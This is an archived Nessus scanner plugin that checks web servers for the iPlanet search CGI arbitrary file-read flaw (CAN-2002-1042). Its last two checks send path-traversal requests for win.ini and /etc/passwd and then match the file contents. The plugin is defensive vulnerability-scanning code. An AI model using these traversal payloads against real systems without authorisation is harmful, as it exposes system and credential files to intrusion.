home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / modules / nessus-2.2.8.mo / usr / lib / nessus / plugins / iplanet_search.nasl < prev    next >
Text File  |  2005-01-14  |  2KB  |  84 lines

  1. #
  2. # This script was written by Renaud Deraison <deraison@cvs.nessus.org>
  3. #
  4. # Script audit and contributions from Carmichael Security <http://www.carmichaelsecurity.com>
  5. #      Erik Anderson <eanders@carmichaelsecurity.com>
  6. #      Added BugtraqID and CAN
  7. #
  8. # See the Nessus Scripts License for details
  9. #
  10.  
  11. if(description)
  12. {
  13.  script_id(11043);
  14.  script_bugtraq_id(5191);
  15.  script_version ("$Revision: 1.7 $");
  16.  script_cve_id("CAN-2002-1042");
  17.  
  18.  name["english"] = "iPlanet Search Engine File Viewing";
  19.  script_name(english:name["english"]);
  20.  
  21.  desc["english"] = "
  22. An attacker may be able to read arbitrary files on the remote web 
  23. server, using the 'search' CGI that comes with iPlanet. 
  24.  
  25. Risk factor : High
  26. Solution : Turn off the search engine until a patch is released";
  27.  
  28.  
  29.  script_description(english:desc["english"]);
  30.  
  31.  summary["english"] = "Attempts to read an arbitrary file using a feature in iPlanet"; 
  32.  
  33.  script_summary(english:summary["english"]);
  34.  
  35.  script_category(ACT_ATTACK);
  36.  
  37.  
  38.  script_copyright(english:"This script is Copyright (C) 2002 Renaud Deraison",
  39.         francais:"Ce script est Copyright (C) 2002 Renaud Deraison");
  40.  family["english"] = "CGI abuses";
  41.  family["francais"] = "Abus de CGI";
  42.  script_family(english:family["english"], francais:family["francais"]);
  43.  script_dependencie("find_service.nes", "no404.nasl");
  44.  script_require_ports("Services/www", 80);
  45.  exit(0);
  46. }
  47.  
  48. #
  49. # The script code starts here
  50. #
  51.  
  52.  
  53. include("http_func.inc");
  54.  
  55. function check(item, exp)
  56. {
  57.  req = http_get(item:item, port:port);
  58.  soc = http_open_socket(port);
  59.  if(soc)
  60.  {
  61.   send(socket:soc, data:req);
  62.   r = http_recv(socket:soc);
  63.   r = tolower(r);
  64.   http_close_socket(soc);
  65.   if(egrep(string:r, pattern:exp, icase:1)){
  66.     security_hole(port);
  67.     exit(0);
  68.     }
  69.  }
  70.  return(0);
  71. }
  72.  
  73.  
  74.  
  75. port = get_http_port(default:80);
  76.  
  77.  
  78. if(!get_port_state(port))exit(0);
  79.  
  80. check(item:"/search?NS-query-pat=..\..\..\..\..\..\..\..\winnt\win.ini", exp:"\[fonts\]");
  81. check(item:"/search?NS-query-pat=../../../../../../../../../etc/passwd", exp:"root:.*:0:[01]:.*");
  82.  
  83.  
  84.